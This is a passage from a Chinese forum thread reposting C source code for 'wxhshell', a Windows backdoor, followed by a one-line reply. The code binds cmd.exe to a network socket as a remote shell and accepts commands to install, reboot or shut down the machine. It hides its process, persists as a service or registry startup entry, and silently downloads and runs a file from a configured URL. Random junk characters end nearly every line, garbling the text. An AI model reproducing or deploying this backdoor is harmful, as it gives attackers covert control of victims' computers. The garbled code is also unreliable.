  } )}WG`  
  else { xu+wi>Y^  
u =rY  
    switch(cmd[0]) { IHxX:a/iv  
  P.;B V",  
  // 帮助 !7%L%~z^  
  case '?': { d8]6<\g  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #XJYkaL  
    break; /-BplU*"9  
  } |&RdOjw$u  
  // 安装 {Qw,L;R  
  case 'i': { $: Qi9N   
    if(Install()) d6hWmZVC  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !(SaE'  
    else 3$HFHUMQsk  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); II~D66 bF  
    break; rxa8X wo8  
    } I"@5=m5  
  // 卸载 yRvq3>mU  
  case 'r': { W&bh&KzCW  
    if(Uninstall()) ||Lqx#e=  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); (5G^"Srw  
    else ;! CQFJ=  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); BT#'<!7!  
    break; H3a}`3}U  
    } CH9#<?l  
  // 显示 wxhshell 所在路径 j/^0q90QO  
  case 'p': { !Rsx)  
    char svExeFile[MAX_PATH]; \f{C2d/6j  
    strcpy(svExeFile,"\n\r"); 7J>n;8{%?  
      strcat(svExeFile,ExeFile); 1RcaE!\p  
        send(wsh,svExeFile,strlen(svExeFile),0); AE7>jkHB  
    break; X.T.^}=  
    } pazFVzT  
  // 重启 EzG7RjW  
  case 'b': { YO-O-NEP  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); F*I{?NRN1  
    if(Boot(REBOOT)) `7N[rs9|S  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 8Cm^#S,+  
    else { Y%wF;I1x  
    closesocket(wsh); IS!B$  
    ExitThread(0); }"xC1<]  
    } GD*6tk;5/  
    break; 'M G)noN5  
    } /"/$1F%{  
  // 关机 =VY[m-q5  
  case 'd': { ,"}'NH@  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); c]xpp;%]  
    if(Boot(SHUTDOWN)) Q) FL|   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); &:{| nDT_2  
    else { ^QFjBQ-Hai  
    closesocket(wsh); 6o,, w^  
    ExitThread(0); -M[5K/[  
    } 7i/?+|  
    break; 0Y"==g+ >f  
    }  -JUv'fk  
  // 获取shell Lb/a _8<E?  
  case 's': { L {5zA5#m  
    CmdShell(wsh); bJ/~UEZw  
    closesocket(wsh); 0HG*KW  
    ExitThread(0); Em _miU  
    break; ;%U`lE0  
  } ikm4Y`c  
  // 退出 m'429E]\S  
  case 'x': { lYy0   
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); x{ZcF=4  
    CloseIt(wsh); ][qZOIk@  
    break;  i4Fw+Z  
    } q .?D{[2  
  // 离开 "pHQ  
  case 'q': { Dy8Go4  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); w@oq.K  
    closesocket(wsh); 6NZ f!7,B  
    WSACleanup(); v8w N2[fC  
    exit(1); %*r P d>*  
    break; eH1Y!&`  
        } qLPI^g,  
  } 8I~H1  
  } H[6d@m- Z  
JXvHsCd?  
  // 提示信息 NGb`f-:jw  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 9`vse>,-hg  
} (T`x-wTl  
  } sQt@B#;  
n}._Nb 5  
  return; KXdls(ROP  
} $v>- @  
XvdK;  
// shell模块句柄 ]n!pn#Q  
int CmdShell(SOCKET sock) guf+AVPno  
{ VT0I1KQx.  
STARTUPINFO si; } RM?gE  
ZeroMemory(&si,sizeof(si)); NP|U |zn  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; l?#([(WM  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 47t^{WrT  
PROCESS_INFORMATION ProcessInfo; SUvHLOA  
char cmdline[]="cmd"; 3 #jPQ[+  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Lqz}h-Ei  
  return 0; )DoY*'Cl  
} Cu9,oU+N  
."=Bx2  
// 自身启动模式 b},OCVT?  
int StartFromService(void) Q OdvzVy<  
{ {zg}KiNDZd  
typedef struct B%r)~?6DM  
{ r)*KgGsk  
  DWORD ExitStatus; NEK;'"  ~  
  DWORD PebBaseAddress; VpJ2Qpd=  
  DWORD AffinityMask; WRD^S:`BH  
  DWORD BasePriority; D4 e)v%  
  ULONG UniqueProcessId; BDcl1f T  
  ULONG InheritedFromUniqueProcessId; !5p 01]7  
}   PROCESS_BASIC_INFORMATION; @dO~0dF  
|n* I}w^  
PROCNTQSIP NtQueryInformationProcess; !f"@pR6  
t1Cyyb  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ~/gqXT">  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; b/2t@VlL  
|s s_<  
  HANDLE             hProcess; ];(w8l  
  PROCESS_BASIC_INFORMATION pbi; !&! sn"yD  
]Ub?Wo7F?  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); O^`Y>>a  
  if(NULL == hInst ) return 0; n {^D_S  
-LQ%)'J ZN  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Z=wLNmH  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 80 p7+W2m  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Q2iu}~  
&4p:2,|r9  
  if (!NtQueryInformationProcess) return 0; j63w(Jv/  
dZ;cs c@xv  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); B&<Z#C:I  
  if(!hProcess) return 0; (}c}=V  
&~ uzu{  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; .7cQKdvcC  
W!+5}\?  
  CloseHandle(hProcess); }0qgvw  
MheP@ [w|@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [ tm J6^s  
if(hProcess==NULL) return 0; lZ E x0  
h.G/HHz  
HMODULE hMod; qDL9  
char procName[255]; K]Ed-Tz8QZ  
unsigned long cbNeeded; iQs(Dh=*  
kg9ZSkJr  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); )I`B+c:  
 ;-U :t4  
  CloseHandle(hProcess); F8/4PB8-  
J`V7FlM  
if(strstr(procName,"services")) return 1; // 以服务启动 _f2(vWCW;J  
(w)Qt/P^4  
  return 0; // 注册表启动 :'a |cjq  
} )1&[uE#L  
-:>Mi5/ s  
// 主模块 =][[TH  
int StartWxhshell(LPSTR lpCmdLine) IQY\L@"  
{ 1;g>?18@  
  SOCKET wsl; '}]w=2Lf  
BOOL val=TRUE; & P,8 )YA  
  int port=0; ^%*%=LJm  
  struct sockaddr_in door; So,EPB+  
M>8#is(pV  
  if(wscfg.ws_autoins) Install(); 'tp+g3V  
W 4~a`D7  
port=atoi(lpCmdLine); B0nkHm.Sj  
AfFF u\  
if(port<=0) port=wscfg.ws_port; #!C/~"Y*`|  
jh2D 9h  
  WSADATA data; w}YO+  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; oB#KR1 >%7  
c9r, <TR9  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   0P&rTtU6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1i^!A&  
  door.sin_family = AF_INET; G-9]z[\#  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); qAHQZKk  
  door.sin_port = htons(port); {3@/@jO?  
.$L'Jt2X  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { DMsxHAE1  
closesocket(wsl); :a nUr<  
return 1; {!Jw+LPv$$  
} .G4(Ryh  
cZPv6c_w  
  if(listen(wsl,2) == INVALID_SOCKET) { ?%{v1(  
closesocket(wsl); gb( a`  
return 1; #-Ehg4W  
} Yfs60f  
  Wxhshell(wsl); |ILj}4ZA7  
  WSACleanup(); -Wb/3 X  
DO8@/W( `  
return 0; $0+AR)  
~\6Kq`Y  
} )zf&`T  
&r;-=ASYzV  
// 以NT服务方式启动 bb}|"m .  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) LlrUJ-uC7  
{ v#8{pr  
DWORD   status = 0; M._9/ *C U  
  DWORD   specificError = 0xfffffff; _ 2R;@[f2  
~$Xz~#~  
  serviceStatus.dwServiceType     = SERVICE_WIN32; +.! F]0ju  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; xf_NHKZ)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; T;-&3  
  serviceStatus.dwWin32ExitCode     = 0; m+?$cyA>v  
  serviceStatus.dwServiceSpecificExitCode = 0; ]O,;t>  
  serviceStatus.dwCheckPoint       = 0; WA \ P`'lg  
  serviceStatus.dwWaitHint       = 0; LK-2e$1  
DZ<q)EpC  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); &"p7X>bd  
  if (hServiceStatusHandle==0) return; 6F(;=iY8  
2/<VoK0b  
status = GetLastError(); ^7G@CBic"  
  if (status!=NO_ERROR) k2(B{x}L  
{ \Z{6j&;  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; u!S^lV@  
    serviceStatus.dwCheckPoint       = 0; w@ALl#z;}  
    serviceStatus.dwWaitHint       = 0; )*}2L_5]  
    serviceStatus.dwWin32ExitCode     = status; LZG?M|(6D  
    serviceStatus.dwServiceSpecificExitCode = specificError; H$bu*o-Z  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); =]X_wA;%  
    return; e`27 ?  
  } 0<d9al|J  
V+G.TI P  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; KzZ|{ !C  
  serviceStatus.dwCheckPoint       = 0; ?Imq4I~)  
  serviceStatus.dwWaitHint       = 0; TmZ sC5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); `@!4#3H  
} `!V=~"ve  
6jyS]($q  
// 处理NT服务事件,比如:启动、停止 JVy-Y  
VOID WINAPI NTServiceHandler(DWORD fdwControl) tbG^9d  
{ wK>a&`<  
switch(fdwControl) t@m!k+0  
{ jrJ!A(<)  
case SERVICE_CONTROL_STOP: 0' j/ 9vm  
  serviceStatus.dwWin32ExitCode = 0; )(V|d$n  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; .K%1{`.|  
  serviceStatus.dwCheckPoint   = 0; %xv }  
  serviceStatus.dwWaitHint     = 0; Q"rQVO  
  { j]Y`L?!Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2%o@?Rp  
  } ;7=pNK  
  return; c~ x  
case SERVICE_CONTROL_PAUSE: mu`:@7+Yp  
  serviceStatus.dwCurrentState = SERVICE_PAUSED;  }^3CG9%  
  break; Y=0D[o8  
case SERVICE_CONTROL_CONTINUE: b`: n i   
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ~gZ"8frl  
  break; %QYW0lE  
case SERVICE_CONTROL_INTERROGATE: Y]MB/\gj  
  break; >(T)9fKF  
}; g }\ G@7Q  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ,cj531.  
} 9=RfGx  
f0Wbc\L[  
// 标准应用程序主函数 d!>.$|b  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) tAPn? d5  
{ TQ hu$z<  
<yt|!p-tS  
// 获取操作系统版本 B L^?1x  
OsIsNt=GetOsVer(); 1V/?p<A  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ': fq/k3;&  
u_31Db<  
  // 从命令行安装 ' 5tk0A  
  if(strpbrk(lpCmdLine,"iI")) Install(); :[P)t %  
}(MI}o}  
  // 下载执行文件 dbVMG-z8  
if(wscfg.ws_downexe) { $F&m('aB8  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) V7~tIhuJH  
  WinExec(wscfg.ws_filenam,SW_HIDE); IZ2(F,{o  
} bn*SLWWQ.3  
;-]' OiS;  
if(!OsIsNt) { "|k 4<"]  
// 如果时win9x,隐藏进程并且设置为注册表启动 v^A4%e<8^r  
HideProc(); JJE?!Yvc  
StartWxhshell(lpCmdLine); xOY %14%Y  
} @}{lp'8FYi  
else |J:|56kVZq  
  if(StartFromService()) E^K<b7  
  // 以服务方式启动 M_BG :P5  
  StartServiceCtrlDispatcher(DispatchTable); 'GyO  
else cVb&Jzd  
  // 普通方式启动 >v?&&FhHK<  
  StartWxhshell(lpCmdLine); xa"8"8  
),!1B%  
return 0; 8GN_ 3pT  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
温馨提示:欢迎交流讨论,请勿纯表情、纯引用!
认证码:
验证问题:
3+5=?,请输入中文答案:八 正确答案:八